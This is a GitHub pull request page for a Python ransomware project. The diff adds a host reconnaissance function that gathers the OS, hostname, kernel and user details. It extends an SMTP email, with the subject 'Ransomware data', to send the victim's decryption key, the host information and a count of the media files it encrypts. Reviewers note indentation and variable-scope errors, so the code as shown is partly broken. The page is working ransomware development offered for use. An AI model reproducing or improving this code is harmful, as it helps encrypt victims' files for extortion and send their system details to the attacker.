-
Notifications
You must be signed in to change notification settings - Fork 92
Add Function "Recon" and Added Encrypted File Count #2
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -63,6 +63,20 @@ def Key_Ops_HTTP(): | |
###---@---### | ||
######################################---NOT IMPLEMENTED---###################################### | ||
|
||
#### NEW Function ### | ||
# Does some recon of the host system | ||
def recon(): | ||
osinfo = os.uname() | ||
user = os.getlogin() | ||
information = { | ||
"osname": osinfo[0], | ||
"hostname": osinfo[1], | ||
"os_release": osinfo[2], | ||
"kernel_version": osinfo[3], | ||
"hardware": osinfo[4], | ||
"user": user | ||
} | ||
return information | ||
|
||
|
||
def send_Key_SMTP(): | ||
|
@@ -74,7 +88,7 @@ def send_Key_SMTP(): | |
FROM = USER | ||
TO = ["[email protected]"] | ||
SUBJECT = "Ransomware data: "+str(ts) | ||
MESSAGE = """\Client ID: %s Decryption Key: %s """ % (ID, exKey) | ||
MESSAGE = """\Client ID: %s Decryption Key: %s Host info: %s Number of encrypted files: %s""" % (ID, exKey, str(hostinfo), encrypted_count) | ||
message = """\ From: %s To: %s Subject: %s %s """ % (FROM, ", ".join(TO), SUBJECT, MESSAGE) | ||
try: | ||
server = smtplib.SMTP() | ||
|
@@ -118,6 +132,7 @@ def single_arg_encrypt_file(in_filename): | |
encrypt_file(key, in_filename) | ||
|
||
def select_files(): | ||
global encrypted_count | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Please use method arguments instead of global variables when not returning in a particular method. |
||
|
||
ext = [".3g2", ".3gp", ".asf", ".asx", ".avi", ".flv", | ||
".m2ts", ".mkv", ".mov", ".mp4", ".mpg", ".mpeg", | ||
|
@@ -132,7 +147,8 @@ def select_files(): | |
for file in files: | ||
if file.endswith(tuple(ext)): | ||
files_to_enc.append(os.path.join(root, file)) | ||
|
||
|
||
encrypted_count = str(len(files_to_enc)) ## Get a count of the encrypted files | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. you can't |
||
# Parallelize execution of encryption function over four subprocesses | ||
pool = Pool(processes=4) | ||
pool.map(single_arg_encrypt_file, files_to_enc) | ||
|
@@ -179,6 +195,7 @@ def note(): | |
if SMTP == True: | ||
key = RSA.generate(2048) | ||
exKey = key.exportKey('PEM') | ||
hostinfo = recon() | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Indentation error also you will need to process the dict to an actual array of strings. |
||
send_Key_SMTP() | ||
else: | ||
Key_Ops_HTTP() # Not implemented | ||
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Indentation error